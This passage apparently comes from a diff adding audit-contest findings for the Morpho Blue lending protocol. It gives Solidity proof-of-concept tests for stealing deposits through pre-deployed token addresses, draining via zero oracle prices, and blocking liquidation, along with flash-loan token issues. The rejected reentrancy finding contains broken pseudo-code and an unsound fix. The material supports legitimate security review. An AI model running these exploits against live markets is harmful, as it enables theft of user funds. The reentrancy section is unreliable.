+**Description**:
+
+Full liquidation of borrower's positions can always prevented by front-running the operations with liquidating dust amount of the positions.
+
+It can be observed that `liquidate` operation doesn't have minimum `seizedAssets` and `repaidShares` check.
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L344-L410
+
+```solidity
+ function liquidate(
+ MarketParams memory marketParams,
+ address borrower,
+ uint256 seizedAssets,
+ uint256 repaidShares,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(seizedAssets, repaidShares), ErrorsLib.INCONSISTENT_INPUT);
+
+ _accrueInterest(marketParams, id);
+
+ uint256 collateralPrice = IOracle(marketParams.oracle).price();
+
+ require(!_isHealthy(marketParams, id, borrower, collateralPrice), ErrorsLib.HEALTHY_POSITION);
+
+ uint256 repaidAssets;
+ {
+ // The liquidation incentive factor is min(maxLiquidationIncentiveFactor, 1/(1 - cursor*(1 - lltv))).
+ uint256 liquidationIncentiveFactor = UtilsLib.min(
+ MAX_LIQUIDATION_INCENTIVE_FACTOR,
+ WAD.wDivDown(WAD - LIQUIDATION_CURSOR.wMulDown(WAD - marketParams.lltv))
+ );
+
+ if (seizedAssets > 0) {
+ repaidAssets =
+ seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ repaidShares = repaidAssets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ } else {
+ repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ seizedAssets =
+ repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
+ }
+ }
+
+ position[id][borrower].borrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, repaidAssets).toUint128();
+
+ position[id][borrower].collateral -= seizedAssets.toUint128();
+
+ uint256 badDebtShares;
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+
+ IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets);
+
+ // `repaidAssets` may be greater than `totalBorrowAssets` by 1.
+ emit EventsLib.Liquidate(id, msg.sender, borrower, repaidAssets, repaidShares, seizedAssets, badDebtShares);
+
+ if (data.length > 0) IMorphoLiquidateCallback(msg.sender).onMorphoLiquidate(repaidAssets, data);
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), repaidAssets);
+
+ return (seizedAssets, repaidAssets);
+ }
+```
+
+This will allow the borrower to prevent full liquidation of his/her position by front-run the operation with liquidating his/her own position by providing a small amount of `seizedAssets` before the liquidator's liquidation tx that tries to liquidate the borrower position and seize all borrower's collateral.
+
+**PoC**:
+
+Add this test to `morpho-blue/test/forge/integration/LiquidateIntegrationTest.sol` :
+
+```solidity
+ function testLiquidateDust() public {
+ // uint256 amountCollateral,
+ // uint256 amountSupplied,
+ // uint256 amountBorrowed,
+ // uint256 priceCollateral,
+ // uint256 lltv
+ _setLltv(0.8e18);
+ LiquidateBadDebtTestParams memory params;
+
+ (uint256 amountCollateral, uint256 amountBorrowed, uint256 priceCollateral) =
+ _boundUnhealthyPosition(0, 10e18, 1e36);
+
+ params.liquidationIncentiveFactor = _liquidationIncentiveFactor(marketParams.lltv);
+ params.expectedRepaid =
+ amountCollateral.mulDivUp(priceCollateral, ORACLE_PRICE_SCALE).wDivUp(params.liquidationIncentiveFactor);
+
+ uint256 minBorrowed = Math.max(params.expectedRepaid, amountBorrowed);
+ amountBorrowed = bound(amountBorrowed, minBorrowed, Math.max(minBorrowed, MAX_TEST_AMOUNT));
+
+ uint256 amountSupplied = 20e18;
+ _supply(amountSupplied);
+
+ loanToken.setBalance(LIQUIDATOR, amountBorrowed);
+ collateralToken.setBalance(BORROWER, amountCollateral);
+
+ oracle.setPrice(type(uint256).max / amountCollateral);
+
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, amountCollateral, BORROWER, hex"");
+ morpho.borrow(marketParams, amountBorrowed, 0, BORROWER, BORROWER);
+ vm.stopPrank();
+
+ oracle.setPrice(priceCollateral);
+
+ vm.prank(BORROWER);
+ morpho.liquidate(marketParams, BORROWER, 1, 0, hex"");
+
+ vm.prank(LIQUIDATOR);
+
+ vm.expectRevert();
+ (uint256 returnSeized, uint256 returnRepaid) =
+ morpho.liquidate(marketParams, BORROWER, amountCollateral, 0, hex"");
+ }
+```
+
+Run the test :
+
+```shell
+forge test --match-contract LiquidateIntegrationTest --match-test testLiquidateDust -vvv
+```
+
+**Recommendation**:
+
+Add a minimum `borrowShares` check, and only allow `borrowShares` lower than the minimum if it will seize all collateral of the borrower.
+
+
+
+### Missing balance check in `Morpho::flashLoan()` will lead to significant losses of funds for fee-on-transfer tokens
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L415-L415](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L415-L415)
+
+**Discription**
+
+When `Morpho::flashloan()` is called, the requested tokens are first transferred form Morpho to the caller, the flash loan callback is made to the caller and then the same amount of tokens that was borrowed istransferred back from the caller to the borrower:
+
+```solidity
+ function flashLoan(address token, uint256 assets, bytes calldata data) external {
+ IERC20(token).safeTransfer(msg.sender, assets);
+
+ emit EventsLib.FlashLoan(msg.sender, token, assets);
+
+ IMorphoFlashLoanCallback(msg.sender).onMorphoFlashLoan(assets, data);
+
+ IERC20(token).safeTransferFrom(msg.sender, address(this), assets); //@audit-issue is not compatible with fee-on-demand tokens and will result in substantial losses for the market
+ }
+
+```
+
+The problem arises from the fact that the token balance of Morpho before the flash loan is not compared to its balance after the flash loan.
+
+In morpho blue anyone can create a market using any tokens as borrow tokens or collateral tokens. This also means that fee-on-transfer tokens can be used. If a fee on transfer token is used for a flash loan, even though the same amount that was borrowed is transferred back to Morpho, a fee for the transfer is deducted from the amount. This means that Morpho will not receive the same amount of tokens back that it gave as a flash loan. This will result in a reduction of available funds corresponding to the transfer fee (common is 5% of the transfer value). All markets that use this token as collateral or borrowToken will be affected by this shortage of funds since the Morpho contract is holding the tokens of all markets. The result will be that not all markets will be able to pay out the tokens they owe.
+
+
+
+
+**Recommendation**
+
+Add a check that compares the token balance of Morpho before the flash loan to its balance after the flash loan and let the function revert if they are not the same. This way a flash loan for fee-on-transfer tokens will not be possible since the function will always revert.
+
+
+
+
+### `flashLoan` can be used to drain the `Morpho` contract Compound v3 token's balances _(duplicate of [Flashloans could be exploited by safeTransferFrom with non standard tokens.])_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+Compound v3 tokens (https://docs.compound.finance/) can be used in Morpho as a collateral or loan token
+
+Some popular compound tokens are `cUSDCv3` and `cWETHv3` which have hundreds of millions TVL.
+
+Theses compound tokens have special behavior that if `type(uint256).max` is sent as the amount in `transferFrom`/`transfer` the entire users balance will be transferred.
+
+***Attack flow***
+
+The below is the `flashLoan` function in `Morpho.sol`
+```solidity
+ function flashLoan(address token, uint256 assets, bytes calldata data) external {
+ IERC20(token).safeTransfer(msg.sender, assets);
+
+ emit EventsLib.FlashLoan(msg.sender, token, assets);
+
+ IMorphoFlashLoanCallback(msg.sender).onMorphoFlashLoan(assets, data);
+
+ IERC20(token).safeTransferFrom(msg.sender, address(this), assets);
+ }
+```
+
+if token is for example `cUSDCv3` and `assets == type(uint256).max` then the entire balance of `Morpho` will be send to the hacker, then the attacker can send all the tokens to another address and repay only 1 WEI of `cUSDCv3` to the flashLoan during `safeTransferFrom`. The transaction will succeed and the funds will be drained .
+
+Here is `cUSDCv3` implementation on Ethereum: https://etherscan.io/address/0xbfc4feec175996c08c8f3a0469793a7979526065#code
+```solidity
+ function transferFrom(address src, address dst, uint amount) override external returns (bool) {
+ transferInternal(msg.sender, src, dst, baseToken, amount);
+ return true;
+ }
+
+ function transferInternal(address operator, address src, address dst, address asset, uint amount) internal {
+ if (isTransferPaused()) revert Paused();
+ if (!hasPermission(src, operator)) revert Unauthorized();
+ if (src == dst) revert NoSelfTransfer();
+
+ if (asset == baseToken) {
+ if (amount == type(uint256).max) { // @audit - here is the modification of amount
+ amount = balanceOf(src);
+ }
+ return transferBase(src, dst, amount);
+ } else {
+ return transferCollateral(src, dst, asset, safe128(amount));
+ }
+ }
+```
+**Recommendation**:
+
+Check that `type(uint256).max` is not the amount
+
+
+
+### It's possible to create a market with a token that has not yet been deployed and steal all deposits for this token later. _(duplicate of [insufficient non existent token check can be weaponised])_
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L150-L150](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L150-L150)
+
+**Description**:
+
+`Morpho#createMarket` function does not check that loan and collateral tokens of the new market are actually existing contracts. `SafeTransferLib` does not revert in the case when a transfer call to an address with no code is executed. At the same time `Morpho` is a monolith contract and all markets on it share the same address for token balance.
+
+Combination of these factors allows the next exploit scenario:
+
+1. Attacker predicts an address of the future token. This could be done in multiple ways: by knowing the address of the deployer (e.g. some projects use the same address for different deployments); if token is deployed by the factory (e.g. Uniswap LP tokens); if token is deployed by a bridge (e.g. Polygon network token mapper); by tracing deployment tx in the mempool;
+2. Attacker creates a market with a predicted address as a loan or collateral token, other market parameters could be arbitrary.
+3. Attacker "supplies" an arbitrary amount of future tokens. Due to the `SafeTransferLib` implementation `supply` function call would be successful, increasing the attacker's `supplyShares` balance without any actual transfer.
+4. Tokens become deployed. Victim accrue some amount.
+5. Victim creates a market with a newly deployed token as a loan or collateral token and supplies it.
+6. Attacker withdraws victim tokens by reducing his own `supplyShares` balance from the previously set up market.
+
+This attack vector could affect any token deployed on the desired chain after morpho. Attacker could set up an exploit for each token which deployment tx he spot in the mempool. It would cost only gas for 2 tx - market creation and initial "supply". And protocol team would not have the possibility to prevent this exploit onchain.
+
+Next test and support function added to the `test/forge/integration/SupplyIntegrationTest.sol` file could show possible exploit scenario:
+```solidity
+ function predictAddress(address deployer, uint256 nonce) internal pure returns (address) {
+ if(nonce == 0x00) return address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), deployer, bytes1(0x80))))));
+ if(nonce <= 0x7f) return address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), deployer, bytes1(uint8(nonce)))))));
+ if(nonce <= 0xff) return address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd7), bytes1(0x94), deployer, bytes1(0x81), uint8(nonce))))));
+ if(nonce <= 0xffff) return address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd8), bytes1(0x94), deployer, bytes1(0x82), uint16(nonce))))));
+ if(nonce <= 0xffffff) return address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd9), bytes1(0x94), deployer, bytes1(0x83), uint24(nonce))))));
+ return address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xda), bytes1(0x94), deployer, bytes1(0x84), uint32(nonce))))));
+ }
+
+ function testExploit_SupplyBeforeTokenDeployed() external {
+ address attacker = makeAddr("Attacker");
+ address victim = makeAddr("Victim");
+ uint256 victimBalance = 500_000 ether;
+
+ address tokenDeployer = makeAddr("tokenDeployer");
+ // Attacker predict the exact address of the future token by knowing the token's deployer address, there are also multiple other possible ways for this
+ address predictedTokenAddress = predictAddress(tokenDeployer, 0);
+ // Attacker creates a "fake" market with future token and successfully "supply" an arbitrary amount
+ MarketParams memory fakeMarketParams = MarketParams(predictedTokenAddress, address(0), address(0), address(marketParams.irm), marketParams.lltv);
+ vm.startPrank(attacker);
+ morpho.createMarket(fakeMarketParams);
+ morpho.supply(fakeMarketParams, victimBalance * 10, 0, attacker, "");
+ vm.stopPrank();
+
+ // After some time token was deployed
+ skip(10 days);
+ vm.prank(tokenDeployer);
+ ERC20Mock token = new ERC20Mock();
+ token.setBalance(victim, victimBalance);
+
+ // Victim creates a new market with newly deployed tokens and supply a "real" amount
+ vm.startPrank(victim);
+ marketParams.loanToken = address(token);
+ MarketParams memory realMarketParams = marketParams;
+ morpho.createMarket(realMarketParams);
+ token.approve(address(morpho), victimBalance);
+ morpho.supply(realMarketParams, victimBalance, 0, victim, "");
+ vm.stopPrank();
+
+ // Attacker steals the victim's balance by withdrawing token from "fake" market
+ uint256 _balance = token.balanceOf(attacker);
+ vm.prank(attacker);
+ morpho.withdraw(fakeMarketParams, victimBalance, 0, attacker, attacker);
+ uint256 balance_ = token.balanceOf(attacker);
+ assertEq(balance_ - _balance, victimBalance);
+ }
+```
+
+**Recommendation**:
+
+Consider adding a check to the `createMarket` function that loan and collateral tokens contracts have code or equal `address(0)` (for idle market case).
+
+
+
+### No incentive to liquidate small positions _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L344-L344](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L344-L344)
+
+- Summary
+
+Liquidators don't have incentive to liquidate very small positions where the collateral they get is worth less than the `repaiedAssets + gas used`.
+
+- Vulnerability Details
+
+Liquidators aim for a profit when they liquidate a user and if they are not in profit it is highly unlikely that anyone calls the `liquidate` function. You can borrow a really small amount of tokens that is worth close to nothing, for example if the LLTV is set to 50% and you put 4 dollars worth of collateral tokens, you can borrow 2 dollars worth of loan token. The liquidation bonus here will be 1.15 and the liquidator would get 1.15 * 2$ = 2.3 dollars for paying 2 dollars. This is pretty low and will not cover gas costs, which means if someone liquidates this position he ends up in a loss. A lot of small positions can be created so that there is no profit for the liquidators. This means that the market will be left with a lot of bad debt positions.
+
+Let's consider the following scenario:
+
+1. User provides very minimal collateral just to pass the liquidation treshhold and then borrows as much loan tokens as he can.
+2. The liquidation bonus is worth less than `repaiedAssets` + the gas that was used to execute the `liquidate` function, so no one calls that function
+3. The same user uses a different address to do the same thing and can continue to do that and eventually he will have the amount he wanted to borrow but without getting liquidated.
+
+This can lead to another problem. As time passes, these positions accrue interest and now the market has a lot of bad debt that no one is willing to liquidate. This could lead to suppliers not being able to withdraw their loan tokens because of this bad debt that can increase quite significantly the more small positions are created,
+
+- Impact
+
+Leaving a market with a lot of bad debt and potentially block users from withdrawing their loan tokens
+
+- Recommendations
+
+A potential fix could be to allow users to borrow if their collateral value is past a certain treshold.
+
+
+
+### Rebase tokens supplies could be lost _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** [IMorpho.sol#L103-L109](morpho-org-morpho-blue-f463e40/src/interfaces/IMorpho.sol#L103-L109)
+
+**Description**:
+Morpho Blue accounts users deposits of loan and collateral tokens using asset-to-share conversion. At the same time, documentation lacks mentioning that markets with rebase tokens should not created.
+
+This could lead to a situation when part of users' deposits would stuck in the Morptho. For example, if the market with `stEth` as a loan/collateral is created and users supply their tokens to it - later they could withdraw only the same amount they have been deposited, while the overall amount of tokens would be increased due to staking rebase events.
+
+**Recommendation**:
+Consider documenting that rebase tokens are not supported as loan/collateral tokens in Morpho Blue.
+
+
+
+### Reentrancy in `Morpho.supply` can cause unexpected state changes _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The function `Morpho.supply` allows users to supply assets to the contract and receive shares in return. The function takes a `MarketParams` struct as an argument, which contains the market id, the loan token address, and the interest rate model address. The function also takes the amount of assets or shares to supply, the address to receive the shares, and some optional data for a callback function.
+
+The function first checks some basic requirements, such as the market existence, the input consistency, and the non-zero address. Then, it calls the internal function `_accrueInterest` with the market parameters and the market id. This function updates the interest rate and the interest amount for the market, and also calls an external function `IIrm.borrowRate` from the interest rate model contract. This external call can introduce a reentrancy vulnerability, as the interest rate model contract can be malicious and call back the `Morpho.supply` function before the state variables are updated.
+
+After the `_accrueInterest` function returns, the `Morpho.supply` function calculates the shares from the assets or vice versa, and updates the position and the market state variables accordingly. It also emits an event and calls a callback function if the data is not empty. Finally, it transfers the assets from the user to the contract using the `safeTransferFrom` function from the ERC20 token contract.
+
+The reentrancy bug can allow an attacker to supply assets or shares multiple times with the same input, and receive more shares than they should. This can cause unexpected state changes and violate the invariant that the total supply assets should be equal to the total supply shares. This can also affect the interest rate and the interest amount calculations, and cause incorrect or unfair logic and effects.
+
+**Impact**:
+
+The impact of this issue is high, as it can compromise the functionality and security of the contract, and cause incorrect or unfair calculations. For example, an attacker can exploit the reentrancy bug to increase their supply shares without increasing their supply assets, and receive more interest income than they should. This can also reduce the income for the contract and the other supply asset holders.
+
+**Proof Of Code**:
+
+Source Link:- https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166-L194
+
+To demonstrate the issue, we can use the following code snippet, which assumes that the contract Morpho is deployed at the address `0x1234...,` and that the attacker has some balance of the token `0x5678...,` which is also supported by the contract. The code snippet also assumes that the attacker controls the interest rate model contract at the address `0x9abc...,` which implements the `IIrm.borrowRate` function. The code snippet shows how the attacker can call the `Morpho.supply` function with a reentrancy attack, and how this can cause unexpected state changes.
+
+```
+// Attacker's code
+address morpho = 0x1234...; // Morpho contract address
+address token = 0x5678...; // ERC20 token address
+address irm = 0x9abc...; // Interest rate model contract address
+
+// Create a market parameter struct with the market id, the loan token address, and the interest rate model address
+MarketParams memory marketParams;
+marketParams.id = 0; // Market id
+marketParams.loanToken = token; // Loan token address
+marketParams.irm = irm; // Interest rate model address
+
+// Supply some tokens to the contract
+morpho.call(abi.encodeWithSignature("supply(MarketParams,uint256,uint256,address,bytes)", marketParams, 1000, 0, msg.sender, ""));
+
+// Check the supply balance of the attacker
+console.log("Supply balance: ", morpho.supplyBalance(msg.sender, token)); // Returns 1000
+
+// Check the total supply assets and shares of the market
+console.log("Total supply assets: ", morpho.totalSupplyAssets(token)); // Returns 1000
+console.log("Total supply shares: ", morpho.totalSupplyShares(token)); // Returns 1000
+
+// Implement the borrowRate function in the interest rate model contract
+function borrowRate(MarketParams memory marketParams, Market memory market) external returns (uint256) {
+ // Reenter the supply function with the same input
+ morpho.call(abi.encodeWithSignature("supply(MarketParams,uint256,uint256,address,bytes)", marketParams, 1000, 0, msg.sender, ""));
+
+ // Return a dummy value for the borrow rate
+ return 0;
+}
+
+// Call the supply function again with the same input
+morpho.call(abi.encodeWithSignature("supply(MarketParams,uint256,uint256,address,bytes)", marketParams, 1000, 0, msg.sender, ""));
+
+// Check the supply balance of the attacker
+console.log("Supply balance: ", morpho.supplyBalance(msg.sender, token)); // Returns 3000
+
+// Check the total supply assets and shares of the market
+console.log("Total supply assets: ", morpho.totalSupplyAssets(token)); // Returns 2000
+console.log("Total supply shares: ", morpho.totalSupplyShares(token)); // Returns 3000
+
+```
+
+The code snippet shows that the attacker can call the `Morpho.supply` function with a reentrancy attack, and how this can cause unexpected state changes. For example, the attacker can supply 1000 tokens to the contract, and receive 1000 shares in return. Then, the attacker can call the supply function again with the same input, and trigger the `_accrueInterest` function, which calls the `IIrm.borrowRate` function from the interest rate model contract. This function can reenter the supply function with the same input, and supply another 1000 tokens to the contract, and receive another 1000 shares in return. However, since the state variables are not updated yet, the attacker can receive more shares than they should, and end up with 3000 shares for 2000 tokens. This can violate the invariant that the total supply assets should be equal to the total supply shares, and affect the interest rate and the interest amount calculations.
+
+**Recommendation**:
+
+The recommended solution is to apply the `check-effects-interactions pattern`, which means to perform all the state changes before calling any external functions. This can prevent the reentrancy attack, as the state variables will be updated before the attacker can reenter the function. Here is the modified code with the suggested changes:
+
+```
+function supply(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ // Move the _accrueInterest function call after the state changes
+ // _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+ else assets = shares.toAssetsUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+ position[id][onBehalf].supplyShares += shares;
+ market[id].totalSupplyShares += shares.toUint128();
+ market[id].totalSupplyAssets += assets.toUint128();
+
+ emit EventsLib.Supply(id, msg.sender, onBehalf, assets, shares);
+
+ // Call the _accrueInterest function here
+ _accrueInterest(marketParams, id);
+
+ if (data.length > 0) IMorphoSupplyCallback(msg.sender).onMorphoSupply(assets, data);
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+
+ return (assets, shares);
+ }
+
+```
+The code snippet shows that the function `Morpho.supply` calls the `_accrueInterest` function after the state changes, instead of before. This can prevent the reentrancy attack, as the state variables will be updated before the attacker can reenter the function. This can ensure that the function executes correctly and securely.
+
+
+
+### Zero Oracle Price can drain the Market's said collateralToken _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+`collateralPrice` is obtained from the Oracles and used directly in the codebase.
+This might not result in good ways especially if the price returns zero.
+
+[collateralPrice](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L357) in the `Liquidate` function is an example to that.
+
+One can try to liquidate a position even if the position was healthy before the zero-price feed of the Oracle. It ends up with the draining of the Market's collateralToken and the position would remain the same unless the bad debt is reflected (full liquidation).
+
+Please insert the below POC in `LiquidateIntegrationTest.sol` test file and kindly reproduce it;
+
+```solidity
+ function testLiquidateWithZeroOraclePrice(
+ uint256 amountCollateral,
+ uint256 amountSupplied,
+ uint256 amountBorrowed,
+ uint256 amountSeized,
+ uint256 priceCollateral,
+ uint256 lltv
+ ) public {
+ _setLltv(_boundTestLltv(lltv));
+ (amountCollateral, amountBorrowed, priceCollateral) =
+ _boundHealthyPosition(amountCollateral, amountBorrowed, priceCollateral);
+
+
+ amountSupplied = bound(amountSupplied, amountBorrowed, amountBorrowed + MAX_TEST_AMOUNT);
+
+ _supply(amountSupplied);
+
+ amountSeized = bound(amountSeized, 1, amountCollateral);
+ uint256 liquidationIncentiveFactor = _liquidationIncentiveFactor(marketParams.lltv);
+
+ oracle.setPrice(priceCollateral);
+
+ loanToken.setBalance(LIQUIDATOR, amountBorrowed);
+ collateralToken.setBalance(BORROWER, amountCollateral);
+
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, amountCollateral, BORROWER, hex"");
+ morpho.borrow(marketParams, amountBorrowed, 0, BORROWER, BORROWER);
+ vm.stopPrank();
+
+ vm.prank(LIQUIDATOR);
+ vm.expectRevert(bytes(ErrorsLib.HEALTHY_POSITION));
+ morpho.liquidate(marketParams, BORROWER, amountSeized, 0, hex"");
+ vm.stopPrank();
+
+ //set the price to 0
+ oracle.setPrice(0);
+ priceCollateral = 0;
+
+ //expectedRepaid becomes zero
+ uint256 expectedRepaid =
+ amountSeized.mulDivUp(priceCollateral, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+
+
+ uint256 ColateralBalanceOFLiqB4 = collateralToken.balanceOf(LIQUIDATOR);
+ uint256 ColateralBalanceOFMorphoB4 = collateralToken.balanceOf(address(morpho));
+ uint256 LoantokenBalanceOFLiqB4 = loanToken.balanceOf(LIQUIDATOR);
+ uint256 LoantokenBalanceOFMorphoB4 = loanToken.balanceOf(address(morpho));
+ vm.prank(LIQUIDATOR);
+
+ (uint256 returnSeized, uint256 returnRepaid) = morpho.liquidate(marketParams, BORROWER, amountSeized, 0, hex"");
+
+
+ uint256 ColateralBalanceOFLiqAFTER = collateralToken.balanceOf(LIQUIDATOR);
+ uint256 ColateralBalanceOFMorphoAFTER = collateralToken.balanceOf(address(morpho));
+ uint256 LoantokenBalanceOFLiqAFTER = loanToken.balanceOf(LIQUIDATOR);
+ uint256 LoantokenBalanceOFMorphoAFTER = loanToken.balanceOf(address(morpho));
+
+ assertEq((ColateralBalanceOFLiqAFTER-ColateralBalanceOFLiqB4),(ColateralBalanceOFMorphoB4-ColateralBalanceOFMorphoAFTER));
+ assertEq(LoantokenBalanceOFLiqAFTER, LoantokenBalanceOFLiqB4);
+ assertEq(LoantokenBalanceOFMorphoB4, LoantokenBalanceOFMorphoAFTER);
+ }
+```
+
+As can be seen, the healthy position has been triggered to be liquidated. However, the amount of `collateraltoken` is transferred to the `Liquidator` even though the Liquidator didn't transfer any `loanToken` to the protocol. This can continue to drain the Market's collateralTokens if all the borrower's are iterated since the below lines are updated with zero amount;
+
+Let's consider we go with `seizedAssets > 0` option as in the POC,
+
+```solidity
+Contract: Morpho.sol
+
+369: if (seizedAssets > 0) {
+370: --> repaidAssets = // here becomes O due to collateralPrice is zero
+371: seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+372: --> repaidShares = repaidAssets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares); // here's 0 as well due to above.
+373: } else {
+374: repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+375: seizedAssets =
+376: repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
+377: }
+
+380: --> position[id][borrower].borrowShares -= repaidShares.toUint128();// This has no effect due to 0 value.
+381: --> market[id].totalBorrowShares -= repaidShares.toUint128(); // // This has no effect due to 0 value.
+382: --> market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, repaidAssets).toUint128(); // This will remain as totalBorrowAssets too.
+```
+
+
+**Recommendation**:
+Validate the price not being zero.
+
+```diff
+- uint256 collateralPrice = IOracle(marketParams.oracle).price();
++ uint256 priceFromOracle = IOracle(marketParams.oracle).price();
++ require(priceFromOracle != 0, "Zero price");
++ uint256 collateralPrice = priceFromOracle;
+```
+
+
+
+### The Oracle call can be exhausted to provide a pre-determined price _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The protocol assumes that the markets should have ERC20-compliant tokens that don't re-enter Morpho on `transfer` nor `transferFrom`.
+However, this might not be the case. One can create a reentrant token and abuse this trustless system.
+
+Let's say an attacker created a market with LoanToken:A and a re-entrant collateralToken:R,
+1. The attacker calls `supplyCollateral` for X amount,
+2. The attacker calls `withdrawCollateral` for Y amount,
+3. The attacker's contract gets hooked onTransfer and re-enters Morpho and calls `liquidate` for any healthy position
+
+Here requires more explanation to view the nature of the vulnerability.
+At the 2. step, the attacker calls `withdrawCollateral`;
+
+`withdrawCollateral` function is as below;
+ ```solidity
+ Contract: Morpho.sol
+
+320: function withdrawCollateral(MarketParams memory marketParams, uint256 assets, address onBehalf, address receiver)
+321: external
+322: {
+323: Id id = marketParams.id();
+324: require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+325: require(assets != 0, ErrorsLib.ZERO_ASSETS);
+326: require(receiver != address(0), ErrorsLib.ZERO_ADDRESS);
+327: // No need to verify that onBehalf != address(0) thanks to the following authorization check.
+328: require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);
+329:
+330: _accrueInterest(marketParams, id);
+331:
+332: position[id][onBehalf].collateral -= assets.toUint128();
+333:
+334: require(_isHealthy(marketParams, id, onBehalf), ErrorsLib.INSUFFICIENT_COLLATERAL);
+335:
+336: emit EventsLib.WithdrawCollateral(id, msg.sender, onBehalf, receiver, assets);
+337:
+338: IERC20(marketParams.collateralToken).safeTransfer(receiver, assets);
+339: }
+ ```
+
+ At line 334, it checks whether the position is healthy, and the health checked is carried out as below;
+
+```solidity
+Contract: Morpho.sol
+
+501: function _isHealthy(MarketParams memory marketParams, Id id, address borrower) internal view returns (bool) {
+502: if (position[id][borrower].borrowShares == 0) return true;
+503:
+504: uint256 collateralPrice = IOracle(marketParams.oracle).price();
+505:
+506: return _isHealthy(marketParams, id, borrower, collateralPrice);
+507: }
+```
+
+As can be seen that the Oracle is called on line 504. Let's keep this in mind for the latter.
+
+At the 3. step, during re-entrancy, the call stack is as follows;
+
+```solidity
+Contract: Morpho.sol
+
+344: function liquidate(
+ //skipped for brevity//
+357: uint256 collateralPrice = IOracle(marketParams.oracle).price();/
+358:
+359: require(!_isHealthy(marketParams, id, borrower, collateralPrice), ErrorsLib.HEALTHY_POSITION);
+```
+
+The Oracle is called on line 357 second time in one TX consuming even more gas.
+
+The idea of the vulnerability is the Oracle being used can return a different price as per the remaining gas. Accordingly, Oracle's contract can check `gasleft()` for the call and provide a pre-determined value dynamically, with zero value by default.
+
+This vulnerability is covered by Mr. Tejaswa Rastogi - a Consensys Engineer [here](https://www.youtube.com/watch?v=C6A2kM1E3CM&t=1078s)
+
+This possibility opens an attack vector where the attacker can exhaust the gas by reentering the protocol. Step 2 can be repeated by reentering again until the target `gasleft()` amount is reached or steps 2 & 3 can be played directly. It all depends on the Oracle's contract.
+
+So, for the last step, since the price will return a pre-determined value, zero value by default, any healthy position will seem unhealthy due to below;
+
+```solidity
+Contract: Morpho.sol
+
+513: function _isHealthy(MarketParams memory marketParams, Id id, address borrower, uint256 collateralPrice)
+514: internal
+515: view
+516: returns (bool)
+517: {
